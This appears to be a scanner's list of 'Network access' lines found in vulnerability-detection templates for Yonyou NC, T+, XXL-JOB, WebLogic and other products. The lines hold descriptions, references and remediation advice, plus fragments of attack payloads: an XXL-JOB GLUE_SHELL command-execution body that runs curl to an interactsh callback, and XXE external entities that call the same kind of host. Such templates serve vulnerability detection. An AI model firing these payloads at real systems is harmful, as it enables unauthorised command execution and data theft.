- https://github.com/wy876/POC/blob/main/Vben-Admin/Vben-Admin%E5%AD%98%E5%9C%A8%E7%A1%AC%E7%BC%96%E7%A0%81%E6%BC%8F%E6%B4%9E.md#vben-admin%E5%AD%98%E5%9C%A8%E7%A1%AC%E7%BC%96%E7%A0%81%E6%BC%8F%E6%B4%9E - Network accessline 15
dangers_type: "信息泄露" bug_solve: "1、联系厂商打补丁或升级版本;2、删除该页面硬登录编码密码。" bug_web: "https://jeesite.com/front/vben-admin/docs/" - Network accessline 16
bug_solve: "1、联系厂商打补丁或升级版本;2、删除该页面硬登录编码密码。" bug_web: "https://jeesite.com/front/vben-admin/docs/" CNNVD_number: "" - Network accessline 17
bug_web: "https://jeesite.com/front/vben-admin/docs/"
pocs/public/WebLogic_CVE-2022-21371_LocalFileInclusion.yaml
- Network accessline 8
Oracle WebLogic Server contains a path traversal vulnerability in the Web Container component due to improper input validation. Attackers can exploit this vulnerability to access sensitive files such as WEB-INF/weblogic.xml, WEB-INF/web.xml - Network accessline 9
reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-21371 classification: - Network accessline 10
- https://nvd.nist.gov/vuln/detail/CVE-2022-21371
pocs/public/XFZXT-GetCalendarContentById-SQL.yaml
- Network accessline 8
上海鹏达计算机系统开发有限公司,成立于1996年,上海睿泰企业管理集团成员,位于上海市,是一家以从事软件和信息技术服务业为主的企业。上海鹏达计算机系统开发有限公司学分制系统GetCalendarContentById存在SQL注入漏洞,未经身份验证的远程攻击者可利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。 reference: - https://github.com/wy876/POC/blob/main/%E5%AD%A - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E5%AD%A6%E5%88%86%E5%88%B6%E7%B3%BB%E7%BB%9FGetCalendarContentById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E5%AD%A6%E5%88%86%E5%88%B6%E7%B3%BB%E7%BB%9FGetCalendarContentById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md - Network accessline 14
publish_time: "2024-06-21" dangers_type: "SQL 注入" bug_solve: "联系厂商打补丁或升级版本:http://pantosoft.com" - Network accessline 15
dangers_type: "SQL 注入" bug_solve: "联系厂商打补丁或升级版本:http://pantosoft.com" bug_web: "http://pantosoft.com/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:http://pantosoft.com" - Network accessline 17
bug_web: "http://pantosoft.com/" - Network accessline 32
Upgrade-Insecure-Requests: 1 Priority: u=1 SOAPAction: http://tempuri.org/GetCalendarContentById - Network accessline 33
Priority: u=1 SOAPAction: http://tempuri.org/GetCalendarContentById Content-Type: text/xml;charset=UTF-8 - Network accessline 34
SOAPAction: http://tempuri.org/GetCalendarContentById - Network accessline 39
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
pocs/public/XXL-JOB_UnauthorizedAccess.yaml
- Network accessline 8
XXL-JOB is a distributed task scheduling platform. The executor endpoint has no authentication by default. Unauthenticated attackers can execute arbitrary commands via the RESTful API `/run` endpoint by setting `glueType` to `GLUE_SHELL` an - Network accessline 9
reference: - https://github.com/xuxueli/xxl-job classification: - Network accessline 10
- https://github.com/xuxueli/xxl-job - Network accessline 24
http: # 尝试方式1:不带 Token,使用 curl 反连验证 - Network accessline 25
# 尝试方式1:不带 Token,使用 curl 反连验证 - Network accessline 39
"logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "curl http://{{interactsh-url}}", - Network accessline 40
"glueType": "GLUE_SHELL", "glueSource": "curl http://{{interactsh-url}}", "glueUpdatetime": 1586699003758, - Network accessline 41
"glueSource": "curl http://{{interactsh-url}}", - Network accessline 63
# 尝试方式2:带默认 Token,使用 curl 反连验证 - Network accessline 78
"logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "curl http://{{interactsh-url}}", - Network accessline 79
"glueType": "GLUE_SHELL", "glueSource": "curl http://{{interactsh-url}}", "glueUpdatetime": 1586699003758, - Network accessline 80
"glueSource": "curl http://{{interactsh-url}}",
pocs/public/YONYOU_ERP_NC_direclory_traversal.yaml
- Network accessline 3
info: name: 用友ERP-NC 目录遍历漏洞 - Network accessline 4
name: 用友ERP-NC 目录遍历漏洞 - Network accessline 11
metadata: publish_time: "2021-04-08" bug_web: "https://www.yonyou.com/" - Network accessline 12
publish_time: "2021-04-08" bug_web: "https://www.yonyou.com/" dangers_type: 目录遍历 - Network accessline 13
bug_web: "https://www.yonyou.com/" dangers_type: 目录遍历 tags: yonyou,nc,directory-traversal,lfi
pocs/public/YYCJT-TPlus-CheckMutex-SQL.yaml
- Network accessline 8
用友畅捷通-TPlus-CheckMutex存在sql注入漏洞,攻击者可以利用该漏洞在SQL命令中不恰当地中立化特殊元素,造成数据库被恶意操作的风险。 reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus-CheckMutex%E5%AD%98%E5%9C%A8sql%E - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus-CheckMutex%E5%AD%98%E5%9C%A8sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus-CheckMutex%E5%AD%98%E5%9C%A8sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md - Network accessline 14
publish_time: "2024-04-06" dangers_type: "SQL注入" bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com/" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com/" bug_web: "https://www.yonyou.com/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com/" - Network accessline 17
bug_web: "https://www.yonyou.com/"
pocs/public/YYCJT-TPlus-FileUploadHandler-fileUpload.yaml
- Network accessline 8
用友畅捷通-TPlus系统接口FileUploadHandler.ashx存在任意文件上传漏洞,允许攻击者上传恶意文件到服务器,可能导致远程代码执行、网站篡改或其他形式的攻击,严重威胁系统和数据安全。 reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3FileUploadHandler.ashx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6 - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%E7%95%85%E6%8D%B7%E9%80%9A-TPlus%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3FileUploadHandler.ashx%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC - Network accessline 14
publish_time: "2024-09-26" dangers_type: "文件上传" bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com" - Network accessline 15
dangers_type: "文件上传" bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com" bug_web: "https://www.yonyou.com/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.yonyou.com" - Network accessline 17
bug_web: "https://www.yonyou.com/"
pocs/public/YYNC_DocServlet_fileRead.yaml
- Network accessline 7
description: 用友NC是用公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。用友NC的DocServlet组件存在请求转发和文件读取漏洞。该Servlet在处理文档相关操作时,可能未能充分验证用户提供的文件路径或请求参数。攻击者可以通过构造特定的请求,利用该Servlet的转发功能,访问服务器上的任意文件,包括敏感的配置文件、系统文件或用户数据。此外,该漏洞也可能允许攻击者将请求转发到内部或外部的任意服务器。该漏洞可 - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc-DocServlet-fileread.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-DocServlet-fileread.html" - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-10-09" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2025-10-09" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "http://yongyou.net.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "http://yongyou.net.cn/"
pocs/public/YYNC_PaWfm_open_SQL.yaml
- Network accessline 12
publish_time: "2025-02-27" dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
dangers_type: "SQL注入" bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 14
bug_solve: "1、关注厂商官网:https://www.yonyou.com/ 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.yonyou.com/"
pocs/public/YYNC_content_XXE.yaml
- Network accessline 7
description: 用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用preview/content接口解析XML,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。 reference: - "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" - Network accessline 13
fingerprint: 用友NC publish_time: "2025-08-28" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" - Network accessline 14
publish_time: "2025-08-28" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" bug_web: http://yongyou.net.cn/ - Network accessline 15
bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" - Network accessline 16
bug_web: http://yongyou.net.cn/ - Network accessline 30
page_xml={{url_encode(url_encode("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://{{interactsh-url}}\">%remote;]><root/>"))}}
pocs/public/YYNC_deleteEvent_SQL.yaml
- Network accessline 5
author: nuclei severity: high description: 用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字 - Network accessline 6
severity: high description: 用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业 - Network accessline 7
description: 用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。⽤友 - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc-oacoSchedulerEvents-deleteEvent-sqli.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-oacoSchedulerEvents-deleteEvent-sqli.html" - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-06-20" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-06-20" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 14
bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.yonyou.com/"
pocs/public/YYNC_doSingUp_SQL.yaml
- Network accessline 7
description: 用友NC doSingUp 接口存在SQL注入漏洞,攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令,从而控制服务器。经过分析与研判,该漏洞利用难度低,建议尽快修复。 reference: - https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/1ea41254fa5f8175376d566e0e6ef59cef7c6810/2025/%E7%94 - Network accessline 8
reference: - https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/1ea41254fa5f8175376d566e0e6ef59cef7c6810/2025/%E7%94%A8%E5%8F%8BNC%20ActivityNoticedoSingUp%20%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5% - Network accessline 9
- https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/1ea41254fa5f8175376d566e0e6ef59cef7c6810/2025/%E7%94%A8%E5%8F%8BNC%20ActivityNoticedoSingUp%20%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BNC%20Activ - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-12-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://yonyou.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-12-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://yonyou.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://yonyou.com" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://yonyou.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://yonyou.com"
pocs/public/YYNC_getBapTableDatas_SQL.yaml
- Network accessline 5
author: nuclei severity: high description: 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协 - Network accessline 6
severity: high description: 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决 - Network accessline 7
description: 用友 NC Cloud 是一种商业级的企业资源规划云平台,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和 - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-ncc-uapws-service-IBapIOService-getBapTableDatas-sqli.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-ncc-uapws-service-IBapIOService-getBapTableDatas-sqli.html" metadata: fofa-query: 'app="用友-UFIDA-NC"' - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-05-20" bug_solve: "1、关注厂商官网 url:https://security.yonyou.com/#/noticeInfo?id=401 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-05-20" bug_solve: "1、关注厂商官网 url:https://security.yonyou.com/#/noticeInfo?id=401 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://yonyou.com/" - Network accessline 14
bug_solve: "1、关注厂商官网 url:https://security.yonyou.com/#/noticeInfo?id=401 获取补丁或更新版本;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://yonyou.com/" - Network accessline 28
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService"> - Network accessline 29
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gs="http://service.bap.itf.nc/IBapIOService">
pocs/public/YYNC_importCombo_XML.yaml
- Network accessline 7
description: 用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML文件,利用importCombo接口上传并解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。 reference: - https://mrxn.net/jswz/yonyou-nc-portalcombo-importCombo-xxe.html - Network accessline 8
reference: - https://mrxn.net/jswz/yonyou-nc-portalcombo-importCombo-xxe.html classification: - Network accessline 9
- https://mrxn.net/jswz/yonyou-nc-portalcombo-importCombo-xxe.html - Network accessline 14
fingerprint: 用友NC publish_time: "2025-08-11" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.chinarey.com/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" - Network accessline 15
publish_time: "2025-08-11" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.chinarey.com/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" bug_web: "http://yongyou.net.cn/" - Network accessline 16
bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://www.chinarey.com/;2、禁用外部实体解析,配置XML解析器禁用DTD和外部实体解析,使用安全的XML解析库;3、对用户输入的XML数据进行严格校验,过滤特殊字符。" - Network accessline 17
bug_web: "http://yongyou.net.cn/" dangers_type: XML注入 tags: yonyou,nc,xxe,oast - Network accessline 33
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> - Network accessline 34
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> %remote;]> - Network accessline 35
<!ENTITY % remote SYSTEM "http://{{interactsh-url}}">
pocs/public/YYNC_importExcelTemplate_fileUpload.yaml
- Network accessline 7
description: 用友NC的importExcelTemplate模块存在任意文件上传漏洞。攻击者可通过构造恶意上传请求,绕过文件类型限制,将任意文件上传至服务器,进而可能实现远程代码执行或服务器控制,影响系统的完整性和安全性。 reference: - "https://mrxn.net/jswz/yonyou-nc-importExcelTemplate-upload-rce.html" - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc-importExcelTemplate-upload-rce.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-importExcelTemplate-upload-rce.html" - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-08-15" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 13
publish_time: "2025-08-15" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" bug_web: "http://yongyou.net.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 15
bug_web: "http://yongyou.net.cn/"
pocs/public/YYNC_listUserSharingEvents_SQL.yaml
- Network accessline 7
description: 用友NC listUserSharingEvents 存在SQL注入漏洞,攻击者可通过输入恶意 SQL 代码,突破系统原本设定的访问规则,未经授权访问、修改或删除数据库中的各类敏感信息,包括但不限于员工个人资料、企业核心业务数据等。 reference: - "https://vip.bdziyi.com/57905/" - Network accessline 8
reference: - "https://vip.bdziyi.com/57905/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/57905/" metadata: fofa-query: 'app="用友-UFIDA-NC"' - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-06-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2025-06-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.yonyou.com/;2、关闭互联网暴露面或接口设置访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.yonyou.com/"
pocs/public/YYNC_nc5x_fwd_XSS.yaml
- Network accessline 7
description: 用友NC是用友公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。用友NC nc5x/fwd 接口存在跨站脚本(XSS)漏洞。该漏洞源于fwd方法直接将funcode和systemcode参数的值拼接到HTML代码中,并作为openNCNode函数的参数,而没有进行充分的输入验证和过滤。攻击者可以通过构造包含恶意JavaScript代码的funcode或systemcode参数,例如"><script>a - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc5x-xss.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc5x-xss.html" metadata: fofa-query: 'app="用友-UFIDA-NC"' - Network accessline 12
fingerprint: "用友NC" publish_time: "2025-10-05" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、对用户传递的特殊字符如:',<,>,script等进行编码。" - Network accessline 13
publish_time: "2025-10-05" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、对用户传递的特殊字符如:',<,>,script等进行编码。" bug_web: "http://yongyou.net.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、对用户传递的特殊字符如:',<,>,script等进行编码。" - Network accessline 15
bug_web: "http://yongyou.net.cn/"
pocs/public/YYNC_portalpage_XXE.yaml
- Network accessline 7
description: 用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用portalpage/importPml接口解析XML,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。 reference: - "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" - Network accessline 8
reference: - "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" metadata: - Network accessline 9
- "https://mrxn.net/jswz/yonyou-nc-portalpage-content-XXE.html" - Network accessline 13
fingerprint: 用友NC publish_time: "2025-08-28" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 14
publish_time: "2025-08-28" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" bug_web: http://yongyou.net.cn/ - Network accessline 15
bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:http://yongyou.net.cn/;2、关闭互联网访问权限或限制页面访问权限;3、严格验证和过滤上传文件的类型与内容,限制文件大小,并将上传文件存放在非执行目录下。" - Network accessline 16
bug_web: http://yongyou.net.cn/ - Network accessline 33
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> - Network accessline 34
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> %remote;]> - Network accessline 35
<!ENTITY % remote SYSTEM "http://{{interactsh-url}}">
pocs/public/YYNC_redeploy_SQL.yaml
- Network accessline 10
metadata: fofa-query: 'app="用友-UFIDA-NC"' fingerprint: '用友NC' - Network accessline 11
fofa-query: 'app="用友-UFIDA-NC"' fingerprint: '用友NC' publish_time: "2026-04-07" - Network accessline 12
fingerprint: '用友NC' publish_time: "2026-04-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2026-04-07" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.yonyou.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.yonyou.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.yonyou.com/"
pocs/public/YYNC_saveProDefServlet_XXE.yaml
- Network accessline 7
description: 用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用saveProDefServlet接口解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。 reference: - "https://mrxn.net/jswz/yonyou-nc-saveProDefServlet-xxe-ssrf.html" - Network accessline 8
